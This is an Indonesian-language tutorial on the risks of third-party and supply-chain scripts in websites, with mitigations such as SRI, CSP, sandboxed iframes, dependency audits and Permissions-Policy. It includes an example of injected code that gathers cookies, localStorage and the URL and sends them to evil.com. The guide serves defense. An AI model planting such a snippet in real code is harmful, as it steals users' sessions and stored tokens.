Risiko Third-Party Scripts
Hampir semua website modern memuat script dari pihak ketiga: analytics, ads, chat widgets, social media embeds. Setiap script eksternal adalah potensi attack vector karena berjalan dengan hak akses penuh di origin website kita.
Apa yang Bisa Dilakukan Third-Party Script?
- Membaca semua DOM — termasuk form input, data pengguna
- Mengakses cookies — kecuali yang HttpOnly
- Membaca localStorage — termasuk token yang disimpan di sana
- Membuat network request — mengirim data ke server manapun
- Memodifikasi halaman — menyisipkan form palsu, redirect
Contoh Insiden Supply Chain
// Kasus: package npm popular di-compromise
// Penyerang menyisipkan kode pencurian data:
(function() {
const data = {
cookies: document.cookie,
storage: JSON.stringify(localStorage),
url: location.href
};
navigator.sendBeacon("https://evil.com/collect", JSON.stringify(data));
})();
// Semua website yang menggunakan package tersebut terpengaruh!
Strategi Mitigasi
1. Subresource Integrity (SRI)
<script
src="https://cdn.example.com/analytics.js"
integrity="sha384-..."
crossorigin="anonymous"
></script>
<!-- Jika file berubah, browser menolak memuat -->
2. Content Security Policy
// Batasi script hanya dari sumber terpercaya
Content-Security-Policy: script-src 'self' https://trusted-cdn.com
3. Sandbox iframe untuk Widget
<!-- Isolasi third-party widget dalam iframe sandboxed -->
<iframe
src="https://widget.example.com"
sandbox="allow-scripts allow-same-origin"
loading="lazy"
></iframe>
<!-- Widget tidak bisa akses DOM parent, cookies, atau localStorage -->
4. Audit Dependencies Secara Berkala
# npm audit — cek vulnerability di dependencies
npm audit
# Gunakan lockfile untuk pin versi
npm ci # Install berdasarkan lock file
# Tools untuk monitoring
# - Snyk
# - Dependabot (GitHub)
# - Socket.dev
5. Permission Policy
// Batasi fitur browser yang bisa diakses
Permissions-Policy: camera=(), microphone=(), geolocation=(self)
// Third-party scripts tidak bisa mengakses camera, microphone
Best Practices
- Minimalisir jumlah third-party scripts
- Gunakan SRI untuk semua external scripts
- Terapkan CSP yang ketat
- Sandbox widget dalam iframe
- Audit dependencies secara berkala
- Gunakan self-hosted versi jika memungkinkan
- Monitor network requests yang dibuat third-party scripts